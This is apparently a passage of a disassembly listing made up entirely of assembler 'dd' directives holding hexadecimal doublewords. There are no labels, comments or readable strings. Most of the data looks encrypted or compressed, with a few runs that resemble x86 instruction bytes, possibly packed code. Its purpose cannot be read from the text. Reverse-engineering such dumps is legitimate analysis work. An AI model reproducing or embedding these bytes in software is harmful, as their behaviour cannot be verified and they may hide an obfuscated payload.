dd 666B250Bh, 0C7CC8668h, 78C21F54h, 0DBECD192h, 269DFBF1h
dd 0F9FEA99Ch, 3D3E7396h, 0E53821DAh, 0ECA6883Ah, 15FB2741h
dd 32DCFF16h, 44267A28h, 1B00DAF1h, 0B5675E63h, 0C10E14CCh
dd 1E23DDC3h, 0EFA6FB28h, 0C5773115h, 0D0242AE2h, 0A9CCE340h
dd 2E5A4365h, 2F6680D3h, 1D3FC4F0h, 0A445F331h, 0D9E708A9h
dd 151B6E21h, 767B351Bh, 0C1D89278h, 91204382h, 0ED21D9E6h
dd 0E7129F9Ah, 196C21D9h, 9B85B113h, 9C62859Ch, 9A2679EDh
dd 0B2FB4247h, 8B29B9E4h, 4B77D52Ah, 8954345Ah, 0F13CDAFh
dd 6FA07D96h, 68ECF2C1h, 43h, 0B89B75h, 0DCFE04FBh, 0D9F04FD1h
dd 5AA03CB6h, 586FC22Eh, 0FAB7DA19h, 8421DA9Fh, 9F7B3631h
dd 0B00321DAh, 97165DAAh, 0A621DA9Fh, 5492E845h, 7F53D4EBh
dd 102h, 872A4D8Ch, 0EF21DA93h, 2B74969Ch, 0E4CE3245h
dd 0D4495480h, 0DC8E39F1h, 919641F9h, 0E0F7B193h, 62682206h
dd 77311715h, 0D48E7472h, 0FDA99FBAh, 5E4429B9h, 0FD9C1538h
dd 8FE229B9h, 0B993CAE4h, 1C161CD4h, 0C4ED1036h, 8D29B9FDh
dd 0BC932C9Bh, 0A8542BA8h, 0A3F6D8B8h, 903BE6B0h, 9A173A79h
dd 0E429BA57h, 0E63E8B91h, 5610F63Ah, 0B57194ABh, 0B32E5A39h
dd 0F61A4660h, 0F7FF2239h, 112677B2h, 0E8CDA7BEh, 0F1CB2A30h
dd 693B550Fh, 0D5F4CD87h, 6EE6112Dh, 21D5785h, 7D650000h
dd 0F0D7A9C3h, 674C1E38h, 0DAC395AFh, 54360822h, 822B809Ah
dd 0D7F1AB8Dh, 4D672105h, 0C6E0987Bh, 3A540EF4h, 654C6F5Ah
dd 1121D4ADh, 492B059Fh, 24C788Fh, 19F42CE2h, 693B9DA3h
dd 9F835D83h, 0EEE9E0E5h, 29BA4AC3h, 3E43FBE0h, 191D7047h
dd 0A754F92Ah, 5D772229h, 45694C26h, 0B9A18F22h, 0E994E729h
dd 4FD1C1E3h, 444903E9h, 4C8BA24Dh, 0EACC8B72h, 89342B30h
dd 0A0B24083h, 79CC2E5Ah, 9F802D74h, 5CBD21DAh, 8245007h
dd 0EBA388C6h, 149B5AE7h, 2A004FCEh, 0ACB25D1Fh, 0D40B78A6h
dd 0B89353h, 2BDD0000h, 88868B45h, 0A0E7ECA6h, 29BAA4A8h
dd 89A35D43h, 88ABD1B7h, 29BA9D29h, 52570255h, 21916FAh
dd 5A7E47DFh, 5E7412Eh, 5A86A04Bh, 3F6279B6h, 2677F118h
dd 752D146Eh, 0B7CE7970h, 91B59E78h, 0B803436Eh, 3DE83B29h
dd 413B4138h, 628EA55Fh, 0D5C971A7h, 56B8BE7Ch, 0FE8A284h
dd 0E6114CF6h, 0C7CAA93h, 76000001h, 0E8BAD48Eh, 5D2F4901h
dd 0D4A6C078h, 471933EBh, 3C91AB65h, 2BC9E93h, 783216E8h
dd 0F1A98C5Eh, 651F05D7h, 5D806B4Bh, 21D4AC54h, 2B1EB82Ah
dd 3E758F49h, 0D030BE12h, 9EF66E3h, 0A8534A4Fh, 9CC2A8A2h
dd 0B9F73879h, 40EB3E29h, 452B2C26h, 0EE48748Bh, 6B59589Dh
dd 9AFD4A50h, 331CDBC0h, 0D47F767Bh, 0D8D2D8CFh, 0F21E38F2h
dd 0D7FA112Eh, 2E5F35EDh, 0B8705933h, 18D0B5B3h, 0EE48676Dh
dd 564D520Ch, 0C2A8A6ABh, 5E631D01h, 0D0A2BC67h, 0E42B30EAh
dd 5B05B97Dh, 0CDB08AA9h, 459A0F15h, 3C530DF3h, 24AA0A10h
dd 797FADF8h, 19B4E017h, 0F3A82707h, 959A5438h, 0F3EDF39Eh
dd 0EB4E530Dh, 603BF6BFh, 9EA4431Dh, 0E6AABBA4h, 0F7765889h
dd 16CEB769h, 0F215546Bh, 0DD0623BFh, 0D0B264B7h, 141A1116h
dd 8EBAD1C7h, 0A22C0512h, 6ADFE5E3h, 23DDC315h, 7093D209h
dd 0DD065041h, 0EAE4EA3Dh, 17454A04h, 3, 2B6624ADh, 86848943h
dd 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h, 66646923h
dd 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 81E18951h, 4C1h, 4E98300h
dd 5C240C87h, 68243C89h, 7502h, 68240489h, 39EBh, 83241C89h
dd 2C8904ECh, 0EAEBBD24h, 0E88907E5h, 1C8B545Dh, 4C48124h
dd 57000000h, 8F57C789h, 8B5F0843h, 8951241Ch, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C48158h, 0E9000000h
dd 0FFFA89F7h, 0C19221FCh, 0F67CB80Eh, 0C50307E5h, 0C862E0FFh
dd 8A952200h, 2DF54127h, 9B6342C2h, 71F33B96h, 4B794028h
dd 3E3A774Eh, 0EC4B16DCh, 6B514CFDh, 5ED27133h, 0D7B8033Bh
dd 0ACCD7F45h, 79F9100Ch, 39BD451Bh, 1A4A2860h, 0E63113FCh
dd 230F29BCh, 51572D16h, 26F81AD8h, 0D2F34ABAh, 0CEFC39ACh
dd 3AE510Dh, 0A0232050h, 0C70566A4h, 0AD851886h, 0D0783FA0h
dd 8D8D09DFh, 7E5F821h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0F5C35040h, 2948FC1h, 0CA961A2Eh, 1195096Ah
dd 8907E01Dh, 0E018158Dh, 518D0107h, 0C707E016h, 0E0204985h
dd 73C007h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0A91A63A6h, 0C585C7F8h, 7E022h, 0FF000000h
dd 0E01B41B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 7E2DCD24h, 819FCA6Dh
dd 95FF13E9h, 7E02091h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0D7C35747h, 6A040Dh, 18A995FFh, 0C08B07E0h
dd 3EFF7DEBh, 0ED066FD7h, 5EEA56D3h, 0F46B0380h, 18E456E5h
dd 1DB53F61h, 0B1DE5F10h, 0EF8ADAA4h, 802A7E60h, 0D508CE5Fh
dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 99F52B91h
dd 0E96CACE8h, 0F60E0B10h, 1742CE39h, 0D44F102Dh, 0B463C25h
dd 15811334h, 9CC49E41h, 0AB764E92h, 41FF4786h, 34F26920h
dd 0F750F478h, 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h
dd 2D2DA2EBh, 0E843F7DEh, 0Fh, 7AF4CAA0h, 2A52719Fh, 33BADB4Ch
dd 0B9881E7Bh, 63F5660Fh, 28D0F5Ah, 0B1000000h, 84C281BFh
dd 0F00006Eh, 686h, 0ADB58900h, 0BF07E016h, 1B6Eh, 8367DDBBh
dd 0B9328B5Fh, 1031AA0Fh, 6E42C681h, 95016944h, 7E01F15h
dd 0EF50F681h, 0B589181Ah, 7E021A5h, 1C35EE81h, 0F7806F35h
dd 28F567Bh, 5860Fh, 0A4B90000h, 8322BECDh, 7E804EAh, 0BB000000h
dd 0FC0C9604h, 1EB39AB1h, 1EF8359h, 28850Fh, 60600000h
dd 0EFF9BF66h, 0FA1B58Bh, 8B6107E0h, 0E00B1195h, 2DE96107h
dd 19000000h, 0B3062DC5h, 0F1BC65D5h, 0D56564A3h, 8D31ED87h
dd 7E015A9h, 0FFFF7CE9h, 0E44508FFh, 4CD568C1h, 0DDD55BECh
dd 0E07FF73Ah, 0B5111FF1h, 0FE8h, 19D71800h, 0AA5E34A8h
dd 0E05F92BFh, 9C7C2291h, 1E8D958Bh, 665907E0h, 81BDFFBBh
dd 5F18C1h, 1D9D8B00h, 0BF07E000h, 1795h, 2A959D8Bh, 31FF07E0h
dd 5EDA8B66h, 19F64CBBh, 0C4EE8105h, 0E85C6AD6h, 0Bh, 542166FEh
dd 0ACF1CF55h, 0B814AEA7h, 36B56B48h, 0F3EE815Ah, 8B2A58F6h
dd 0E02C1985h, 88C68107h, 232E97BAh, 0E029F185h, 0B3318907h
dd 3E983C0h, 0BE9h, 691D8400h, 8F4953D5h, 650AB18Ch, 0C0BF0F49h
dd 1EF81h, 850F0000h, 20h, 8E8h, 37A8C200h, 0A984C227h
dd 0DB589A7h, 5807E032h, 18E9h, 8FD37400h, 0D998FA76h
dd 66D58A60h, 0E961D38Bh, 0FFFFFF6Eh, 0C25CED99h, 19E95Bh
dd 0B9EE0000h, 61E0h, 4 dup(0)
dd 0E9000000h, 56Ch, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah
dd 365008F1h, 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h
dd 3C22F40Eh, 9D886882h, 0D4A7377Ah, 0F6CD3F21h, 0A71D94B7h
dd 957E21D4h, 0AE1D8DDh, 0C68FB1B7h, 0A14D6487h, 0D62929BAh
dd 5137BD2h, 747AA629h, 0C3DA947Ah, 43506184h, 0D32629BAh
dd 0A08280CDh, 14FACCE6h, 7157555Ah, 0CDB4B2B7h, 689D1015h
dd 21DBC10Bh, 934B300Ah, 2F91978Eh, 0A8C27A5Dh, 363BF3D6h
dd 839A5438h, 409C3A9h, 0DED3F60Dh, 9829BA42h, 0F4F23F45h
dd 0FE4E530Bh, 245DFD63h, 12F5A7BAh, 0C90C9101h, 24CF62C4h
dd 0DD32F31Fh, 0D1AE0326h, 75C829B9h, 0DD0920CAh, 66E541BDh
dd 64402051h, 4B98D3D7h, 2F84F9FFh, 9B163978h, 0E329BA79h
dd 3DF5DE90h, 413B4138h, 0BA8CA65Eh, 0CE151AD4h, 29BA79E0h
dd 60BE1344h, 5434CD22h, 6B4Dh, 452B9700h, 703F868Bh, 2B29BAA1h
dd 87858A42h, 0B8E4E9A3h, 2E579AF7h, 91503913h, 0FAF1F6AEh
dd 7FD4494Fh, 34EAE521h, 0D1F43354h, 29BA94E0h, 0B93D4396h
dd 1, 20442B03h, 0BAA0B4FDh, 0CC77CA29h, 2AE2C9C7h, 0A983C225h
dd 9E130EC6h, 0D829BAA0h, 33DE987Eh, 924A332Dh, 88E51A8Dh
dd 859F573Eh, 230CCDB3h, 0ACA6C06Bh, 8A8F492Bh, 0E8EDA58Ch
dd 90DA3780h, 0A3DAF4AEh, 0A1704164h, 0B30629BAh, 13CDB3ADh
dd 0EFD1AB0Eh, 50352F35h, 0BEA78198h, 40A0106h, 1DD7B9B7h
dd 7B331A18h, 0FE538076h, 0ED42A3B3h, 34E8438Fh, 658C54h
dd 2BD60000h, 8C8A8F49h, 77EAEFA7h, 0B99BED42h, 3113E5FFh
dd 2AD58D70h, 863E2725h, 6FC42581h, 5B5679B8h, 0F629BAA1h
dd 49FE5A5h, 0F5B48B17h, 0BA36DFD2h, 99449729h, 82418D93h
dd 548A5434h, 0D4000000h, 8A8F492Bh, 0ECF1A98Ch, 4D520CEEh
dd 0ACB16B4Fh, 0CC68C57Ah, 0B825E11Bh, 0BAA04B2Ah, 7C5EA805h
dd 2BAEA8C2h, 40878C44h, 29BAA16Eh, 8C914B2Dh, 0EAEFA78Eh
dd 63AE03B8h, 0BDE01F3Ah, 29BAA0F4h, 370EC6AFh, 1469DEE4h
dd 34EA88B6h, 1A354h, 2BED0000h, 8B898E46h, 0E8E6EBA5h
dd 45434802h, 75A1A65Eh, 6A145FB4h, 0B196E03Dh, 0A1476A8Dh
dd 705429BAh, 0DA8CDFB6h, 77913CF6h, 0C2816640h, 2A2126E0h
dd 967C7A7Fh, 0D72B31DCh, 0B0D3EA49h, 2E5A9FBAh, 0DEDCE134h
dd 52243EF8h, 0C19BB26Ch, 0D32026DEh, 0DAA0238Ch, 328F4421h
dd 0AC2A983h, 11240A04h, 6A398801h, 68822D5Dh, 0F1F6B096h
dd 3C530DF3h, 0DEFFA010h, 3A4065BDh, 785285EDh, 62D7DD95h
dd 1BD5BB0Dh, 6E72301h, 6E1053D4h, 1D000001h, 0AED59CF1h
dd 575D9A2Ah, 0F04FD135h, 0D9C09AD9h, 0FED81B21h, 782E5A86h
dd 0E3BD2025h, 433D43FDh, 5289A35Dh, 0D5DB9378h, 363BF5DBh
dd 5231A7D3h, 0A513FD5Dh, 15DE30A4h, 0E7ED98B3h, 484D07EDh
dd 0F03A97E0h, 0B4B8E40Ah, 0BC9B9238h, 9DAE03FEh, 1CC821DAh
dd 641A32Fh, 2BD68124h, 0A6F73311h, 592053D4h, 2D000000h
dd 48E6CBEEh, 0D2B521DAh, 0EAF0431Ah, 7ECC6C8h, 2AF5494Fh
dd 0D1F40Bh, 3656455Eh, 0B6BC765Ch, 532D4497h, 8A274A6Eh
dd 0F4A9BAA1h, 0A3F0F6A1h, 0BAA2555Ch, 0FA5718A9h, 536ACB56h
dd 455EA130h, 26B1DDD6h, 2961080Bh, 0FC01BBA1h, 35545A05h
dd 0AEC6C8E2h, 5C000000h, 0E2C9AC6h, 64FE513Eh, 29060A5Eh
dd 2EABEF12h, 52A52E5Ah, 2910EA4Dh, 0C8CD856Ah, 262026D1h
dd 0E19B7F40h, 203AE5DCh, 2E33BDE9h, 43AD542Bh, 375D433Dh
dd 0BBDCD5F8h, 4FA221D9h, 0D9BC5D54h, 0AFC61921h, 0D9BC258Ch
dd 53FE5121h, 0C179623Ch, 72BFC5BCh, 0D9BBA12Bh, 0FE530821h
dd 0F50CC6ACh, 757B351Bh, 7A9DDC13h, 21D9BC37h, 92E6EC3Fh
dd 5B9AB18Eh, 0E5E09881h, 21D9BBCCh, 0FA595FB2h, 7E75A0D7h
dd 0F72AD626h, 8D66492Dh, 20D8BF71h, 7479241Bh, 0D1D69076h
dd 6EAC4DBh, 7CD1464Ch, 0CCE340D0h, 5A07CEA9h, 0BFD92C2Eh
dd 0F04FD1C5h, 5AC1B6D9h, 0E6392E5Fh, 1C3F7EE1h, 21D4A695h
dd 8E888EE1h, 9DD4EEA8h, 0A6763B5Eh, 0AD0021D4h, 0DC7ADA7h
dd 1E1FC108h, 0D80D47D6h, 0EF2CC7Bh, 52584F54h, 9EB87258h
dd 35D3E6CCh, 0C9BF39F3h, 3AED1E8h, 7BC7D71Ah, 7A787D28h
dd 37EFD291h, 0B69B758Ch, 0B5ABF8FEh, 0FBE12B88h, 879E583Ah
dd 0D71A4D64h, 2BD629C7h, 9D553A14h, 7D633597h, 0EFFA2B57h
dd 0E00BD944h, 0D737CCE5h, 91FB85C7h, 0D248B5F3h, 0E6FDA8FBh
dd 6A702A0Ch, 3EF1Dh, 24850000h, 89432B66h, 0E6A08684h
dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
dd 25DDC2C0h, 833B2220h, 89536D7Eh, 4C381E3h, 81000000h
dd 4EBh, 241C8700h, 2404895Ch, 81E18951h, 4C1h, 4E98100h
dd 87000000h, 895C240Ch, 3D68241Ch, 89000067h, 68682404h
dd 8B07E5FAh, 0C483241Ch, 48B5404h, 4C48324h, 8B951h, 0C1010000h
dd 0C8B1989h, 4C48124h, 0FF000000h, 81582434h, 4C4h, 2434FF00h
dd 4C4815Bh, 0E9000000h, 0FFFA810Bh, 0D5954214h, 0E5FF5EB8h
dd 0FFC50307h, 4E846CE0h, 3E4DB064h, 0E3DB920Eh, 0F0953A43h
dd 5D913612h, 31CCD745h, 0F5E9B75Bh, 0D953AD75h, 58426245h
dd 27B8A75Fh, 0C97AB47Dh, 857BAE38h, 0E2088B74h, 85D72D11h
dd 201CBC2Fh, 94947902h, 48797D10h, 0B941D13Dh, 58525E7Bh
dd 0F4AE3D43h, 0E427F706h, 72E6587Dh, 0AE145553h, 41F3EB47h
dd 8E911h, 12E70000h, 1073h, 53E90242h, 6800000Ch, 7E60218h
dd 0FB47F6E9h, 30268FFh, 0ECE907E6h, 68FFFB47h, 7E604DBh
dd 0FB47E2E9h, 5A968FFh, 0D8E907E6h, 68FFFB47h, 7E6066Bh
dd 0FB47CEE9h, 85C68FFh, 0C4E907E6h, 68FFFB47h, 7E608E4h
dd 0FB47BAE9h, 0A3168FFh, 0B0E907E6h, 68FFFB47h, 7E60B21h
dd 0FB47A6E9h, 0B65ADAFFh, 44DE63DFh, 0CE70F16Dh, 5DF57BF7h
dd 0ED830A86h, 78D60D16h, 8845BF1h, 9410E785h, 1F9B7212h
dd 8328FF9Bh, 6380662Ch, 179C6328h, 11AD318Eh, 17B337C3h
dd 8C28AC58h, 8F31B23Eh, 9B165D5Ah, 63442AF0h, 0EF585B42h
dd 3B1FA2F2h, 44CF1DB5h, 4263987Eh, 164BB45Bh, 0EB39CF56h
dd 8F6B5EAh, 1B13A99Bh, 9278B4Ch, 3A1DE17Fh, 2ED90805h
dd 0E3D7BD83h, 8AF35B42h, 0AAA749CAh, 22EB2760h, 28EEE163h
dd 6322EA42h, 72C0F55Eh, 22E9E2CCh, 534D63h, 37950451h
dd 2E92C4h, 11990000h, 0B07635B0h, 6322648Bh, 48EE3CA5h
dd 6322645Eh, 0D584CFC9h, 0C4371780h, 25B7816Fh, 6A2751EFh
dd 3B8927AAh, 0E5B53D3Ah, 0BC000000h, 0C311AD31h, 0CC1AB037h
dd 890C5341h, 6DBB5DDEh, 12D66A6Ch, 2CB0E0DDh, 0F15A4006h
dd 40765B42h, 6194A21Ah, 285D9271h, 0A3CA4EDAh, 33348220h
dd 553EF73h, 62F8CF04h, 5B435C45h, 0AA811DA1h, 4F0EAA2Eh
dd 52F8DEA4h, 0AB145B43h, 7D44F0AEh, 52FEA968h, 0E4E533CDh
dd 74A89DE7h, 7BE46323h, 483B29A4h, 0DC95808Dh, 3091E1DEh
dd 5D4BF6B5h, 127D3135h, 206A67F4h, 6B059E98h, 1CC887F0h
dd 5240FF95h, 8B3ED96Ch, 0C950104Ah, 0E7E4E533h, 79D24A0h
dd 0A056C2FDh, 811FF972h, 9E0h, 4E25C949h, 0DCB34DD2h
dd 663DDF60h, 0F5CC64EAh, 855CF279h, 60E7677Ch, 0F477F3CAh
dd 81037F56h, 0A8E0AE1h, 9BF2976Eh, 2864EFD5h, 0FD860B63h
dd 0C48AAA31h, 5B4262DEh, 0DC7CFEF2h, 1F9B72A7h, 0AB28FF9Bh
dd 7635B011h
dd 22648BB0h, 0EE3CA563h, 22645E48h, 84CFC963h, 2BC74BF7h
dd 17F8DD2Eh, 0CB77C437h, 27AFAC46h, 0C1h, 11AD312Eh, 0FBE1A752h
dd 0F5B4262h, 3B21E7A6h, 4F5B4263h, 9F2BE9E6h, 0A9348218h
dd 635238FEh, 56E5B42h, 2A27BF45h, 4267C3E0h, 7CA3275Bh
dd 800C5AFAh, 121361FBh, 55D1A8DDh, 5CE735D1h, 0D2922AB0h
dd 63B3B050h, 2C8875Eh, 6322880Dh, 6D058B7Fh, 358B7938h
dd 96387167h, 5DF9403Dh, 0FCC28164h, 6B052563h, 9B574DDh
dd 9915EC82h, 41727C12h, 7672A054h, 8F6FE9Ch, 0B3330000h
dd 37BC380Fh, 0C94AC69Dh, 4ED45027h, 0DC63DFB6h, 7D666F46h
dd 0DDB44AD1h, 6940DE61h, 0F4CB6BEDh, 8158F478h, 0D9BF85DCh
dd 0F5632865h, 0AA31E770h, 3DC13D14h, 0A9F79116h, 0AEFC9A1Dh
dd 6C4378ADh, 48632EFh, 56151664h, 4263AA90h, 605DC65Bh
dd 5110AC30h, 0B8BA1FA5h, 0FC27F29Ch, 5C1A174Ch, 37A225D1h
dd 12534C5Bh, 0E02E63B1h, 2EB2E2DFh, 0A21FBB92h, 609537B8h
dd 0D86EF5A1h, 0DDFCBC8Ah, 8D3F06BAh, 614A5658h, 62D61184h
dd 27703665h, 4163235Ah, 0FA2FC74Dh, 0E97A4D3Bh, 1F7E9832h
dd 2DD96422h, 0BCBD0BABh, 6F0B8FBFh, 0E28204B0h, 4F969394h
dd 65B34FD3h, 68E7F6BFh, 0CB9A30EAh, 0DC9B37BBh, 110EAE30h
dd 1FA34FCAh, 0A44D33F9h, 0F861DBE8h, 777475C3h, 0D927C347h
dd 0E8A44A33h, 9D3FC0DBh, 0A240C34Fh, 0A844C854h, 0DD60338Dh
dd 8D1D68C2h, 371DE309h, 53DBE8A4h, 0D7410F1Dh, 63BC132h
dd 0D37FFAD1h, 85B5B250h, 86679801h, 73F76A9Fh, 4CD37F3Eh
dd 6A6768B6h, 0D1906ACh, 29C8DBE9h, 0A05FF77Dh, 9BB7F4DAh
dd 0A29F08DAh, 7E2AB90Ch, 635D5FF9h, 92A0AB4Eh, 74F82825h
dd 979E1F0Bh, 0EA1F8396h, 77139713h, 0A1447D29h, 6CA71CE2h
dd 8834E27Ch, 17186606h, 0B5A901Ah, 11474B47h, 8420F72Ch
dd 3EE9A83Dh, 22701092h, 0A1DA2421h, 5BDBDC2Eh, 28733F2h
dd 0B54C1A68h, 0C956F1B8h, 73312E63h, 9BB7E4CDh, 0E554FDAh
dd 8E477A5Fh, 476A0BCh, 0FEA90000h, 9BC05238h, 8056EDAh
dd 633117D7h, 0A38D5B42h, 0FF5B4273h, 5B4276FDh, 4275DFC9h
dd 598C355Bh, 0D068EE9Ah, 55848182h, 22945A8Fh, 0C3CD3663h
dd 7542EA28h, 1DA7451Fh, 0C000007h, 9511E88Ch, 239F7610h
dd 0AD2900A2h, 3CB88F27h, 3F481FB5h, 8D23AAA4h, 19B73AB6h
dd 0A444C642h, 31CD51CDh, 985EB55Ah, 632867B2h, 31C049CEh
dd 0D52344ADh, 0BA43EEA3h, 916B7E6Bh, 386DA293h, 95833EEAh
dd 36B9893Fh, 0AF769698h, 1A4FF172h, 0BC6026E5h, 2F632896h
dd 95D8BE84h, 8BF46328h, 0C49B048Eh, 7849DECBh, 57E8AE6Dh
dd 0F16B089Dh, 0D37A5488h, 0A70AA9D3h, 1195411Ah, 6BB59B75h
dd 60C90AA9h, 2F7D1FA0h, 743AF92Eh, 128983A7h, 46F240A9h
dd 0E5AB6A7Bh, 0BA9ACF3h, 0BB67268Fh, 71A09D35h, 0E6A541C5h
dd 0CC1AB63Ah, 0C87CECBh, 8CB59B61h, 0D5C90AA9h, 6869B74Fh
dd 82063633h, 0CDCFDCE6h, 22FCDDC5h, 64F84h, 0B65ADA00h
dd 44DE63DFh, 0CE70F16Dh, 5DF57BF7h, 0ED830A86h, 78D60D16h
dd 8845BF1h, 9410E785h, 1F9B7212h, 8328FF9Bh, 6880662Ch
dd 179C6328h, 35B0118Eh, 9067B076h, 18816322h, 0CE943FCAh
dd 63228FE8h, 6E9E9B04h, 6B0081EAh, 2EFC9048h, 2F31A78Ah
dd 73C1837h, 791B9C48h, 6F2D2A2Bh, 144211A7h, 0B37938ADh
dd 6B031C6Ah, 0B35E1D86h, 430407EDh, 0BDBA235Bh, 3F6E076h
dd 0C16D5B43h, 0C4509E40h, 5455A341h, 0F2D8221Fh, 485B4303h
dd 2AD6C79h, 3936D256h, 29044BEFh, 2C7AE363h, 0D373F5A1h
dd 3D878485h, 6329045Ah, 2903CBB6h, 749B1F63h, 141E53F1h
dd 8ABBBA8Dh, 8D42E0BAh, 9C000005h, 25A1781Ch, 0B32F06A0h
dd 3DB99032h, 0CC481FB7h, 0CFD8AF45h, 1DB33A14h, 0A947CA46h
dd 34D456D2h, 0C15DE15Dh, 28EE45EAh, 63286942h, 1150D95Eh
dd 0CA7635B0h, 5B5CAA46h, 7E7B179Bh, 63E5894Fh, 10796328h
dd 8BB236C2h, 1B1C6A08h, 0B67C27E6h, 632862D0h, 3F8683ECh
dd 7BC924A3h, 0F8CF6BEFh, 0E5CF87Ch, 0A362FE82h, 477E8FB5h
dd 6E6BA222h, 2AD6C9B0h, 2EB907A9h, 286D8268h, 359E63h
dd 99266D03h, 3E617AABh, 5F5C2B17h, 0BF85AB2Fh, 6328F3D9h
dd 80578CF5h, 9C481705h, 52A040C2h, 5C74F51h, 795EAFACh
dd 9FC4317Ch, 18Fh, 0BCBEBAA8h, 6A2221F8h, 3E8C24AAh, 110F403Dh
dd 887635B0h, 0A243B1EBh, 0C7F6F3ADh, 22B48C01h, 49970063h
dd 2290BBA3h, 0CAA2D63h, 14AC32BEh, 1D68FEC6h, 0D0A3FD18h
dd 7C61FA2h, 8105B15Ch, 90250BE5h, 45396322h, 0F0ED22C4h
dd 2AE31A6h, 0BE24B6Bh, 48A20B8Fh, 0B25A8226h, 8E83692Fh
dd 2E975B42h, 0EA76C4F9h, 1D0BCA66h, 59A11D69h, 1A615EFBh
dd 0E3A2437Eh, 22CBE41Dh, 7837A063h, 33F668Ah, 22C5573Dh
dd 80A7363h, 0C84F15B1h, 0AEE3E432h, 634DF3B1h, 0CE63231Ch
dd 8BD081D4h, 11C437ABh, 3Bh, 35B01118h, 9D1FCB76h, 0A023AFFDh
dd 7EB3B402h, 65123781h, 0C52E6322h, 63E7D177h, 0BF526322h
dd 64684E14h, 1B846322h, 8C3D881Eh, 0C437174Fh, 58F87A26h
dd 97D35Bh, 31DA0000h, 37C311ADh, 40CC1AB0h, 0B56120BCh
dd 45469432h, 7AFE8A48h, 547107DEh, 325B4268h, 9F3B12AEh
dd 1BB13822h, 67B0965Ch, 63CC5B42h, 8EA96F2Eh, 0A2632520h
dd 23CF7A39h, 0D808059Dh, 69E4BB51h, 509E38BDh, 5CF34D4Fh
dd 0C3EEB2BBh, 790F96C6h, 40329E6Fh, 35D3AD75h, 39Ch, 92690D8Dh
dd 20F79116h, 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h
dd 38BB370Eh, 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 286B3319h
dd 39C24763h, 3D14AA31h, 0CAA13DC1h, 86AD314Dh, 8A166404h
dd 0FF346907h, 5A125B1h, 7C149A46h, 17BB387Fh, 5B42E32Dh
dd 42E39F89h, 8ECCF55Bh, 79386D0Bh, 28E30FB3h, 0C98C7A63h
dd 541C6D37h, 319A2421h, 5B8A37E3h, 4445D69Ch, 0D63F6B09h
dd 0A43539CCh, 96340E72h, 314h, 1AF19515h, 0A87F199Eh
dd 3209AB2Ch, 0C19830B6h, 5128BE45h, 2CB39B48h, 0C043BF96h
dd 4DCF4B22h, 0D65AD6ADh, 67BE633Ah, 286BBBA1h, 0C14ACF63h
dd 0D7B54432h, 6D3548F1h, 20BC4070h, 26C246D2h, 10F6BC67h
dd 2C5B4352h, 528D7339h, 38A15B43h, 23BF0603h, 0DC88479Eh
dd 6F70BE56h, 447D4372h, 40632359h, 0F9E389D7h, 6463234Bh
dd 2A425D1h, 20B6B3B4h, 0FB372455h, 13BEC437h, 2354674Dh
dd 1D1A8363h, 2E95h, 0B0119C00h, 8BB07635h, 0A5632264h
dd 5E48EE3Ch, 0C9632264h, 80D584CFh, 16C43717h, 0DEh, 53EF731Fh
dd 80020405h, 0E84BCA57h, 310A3B38h, 670186ADh, 0D158E432h
dd 308E7C3Bh, 0C2D27A09h, 0DA662421h, 0E06CBA56h, 5501C05Ch
dd 0F13835D1h, 47F38876h, 0F7F78E4Bh, 4C93B0FAh, 73F75B43h
dd 8400D7h, 576A1664h, 9E23CF8Eh, 997F4504h, 0B55B4344h
dd 75204F4Ch, 441E04CAh, 0C9325B43h, 683182CCh, 281B6323h
dd 23257C62h, 0F2279063h, 0DCC28833h, 4B632324h, 23259F85h
dd 3852BB63h, 0EF8BD2CFh, 8E5413D2h, 6B05E26Dh, 0E47E03F7h
dd 0BD44F0AFh, 4DD45027h, 9AC8ADB7h, 25FF72A0h, 1C787h
dd 3EE26200h, 0CC66EB67h, 56F879F5h, 0E57D037Fh, 750B920Eh
dd 4E959Eh, 900CE379h, 1C986F0Dh, 0A723FA9Ah, 0BB08723h
dd 6D08EEB4h, 9F246328h
dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 8BB07635h, 632264h
dd 0E937CD54h, 0F861EBE8h, 641A04AAh, 8B856322h, 174C8938h
dd 7723C437h, 0C5759F1h, 1FDC4451h, 0C632BAB7h, 39000000h
dd 0DDD44432h, 600813D2h, 13AF3363h, 1CB239C5h, 149743CEh
dd 179C2876h, 14B487Dh, 5B4356E4h, 0E3A23EC2h, 41B209F5h
dd 403D8938h, 5DF97DF9h, 4020B09Eh, 0F386BB8Eh, 393BB3FAh
dd 37F794B2h, 5F1D1AB0h, 18D70EB3h, 228F0152h, 0CBA20B63h
dd 9453922Fh, 5474ECEh, 0F2B11A6Bh, 6A29BF46h, 0F513F9BFh
dd 0BE275B44h, 11FF7AC1h, 0E79FE407h, 0BFEFEC35h, 0F5951738h
dd 4DDBB6C0h, 16F072A0h, 0D778h, 2ED25200h, 0BC56DB57h
dd 46E869E5h, 0D56DF36Fh, 65FB82FEh, 0F05E858Eh, 80FCD369h
dd 0C885FFDh, 9713EA8Ah, 0FBA07713h, 6DF8DEA4h, 8F146328h
dd 1863206h, 1B181967h, 0F7CE64EBh, 845BF77Bh, 4863207h
dd 13151664h, 0CC6562C1h, 0C4F4F170h, 0CA56A440h, 58D3AA46h
dd 4C83BFADh, 320A414Bh, 43517258h, 28258E5Bh, 3DFCE9D8h
dd 2951CF77h, 9516C263h, 886E34F3h, 0A4632951h, 0C1B43E3Bh
dd 295115FBh, 0BEC02963h, 0A858B84Eh, 307EB394h, 0AD8420A4h
dd 0C311AD31h, 0BDC0371Dh, 9026AD7Ah, 9434B642h, 0E4AFB546h
dd 84CF6561h, 0C54B72F6h, 0A521F82Dh, 0AB378521h, 8F3F8D25h
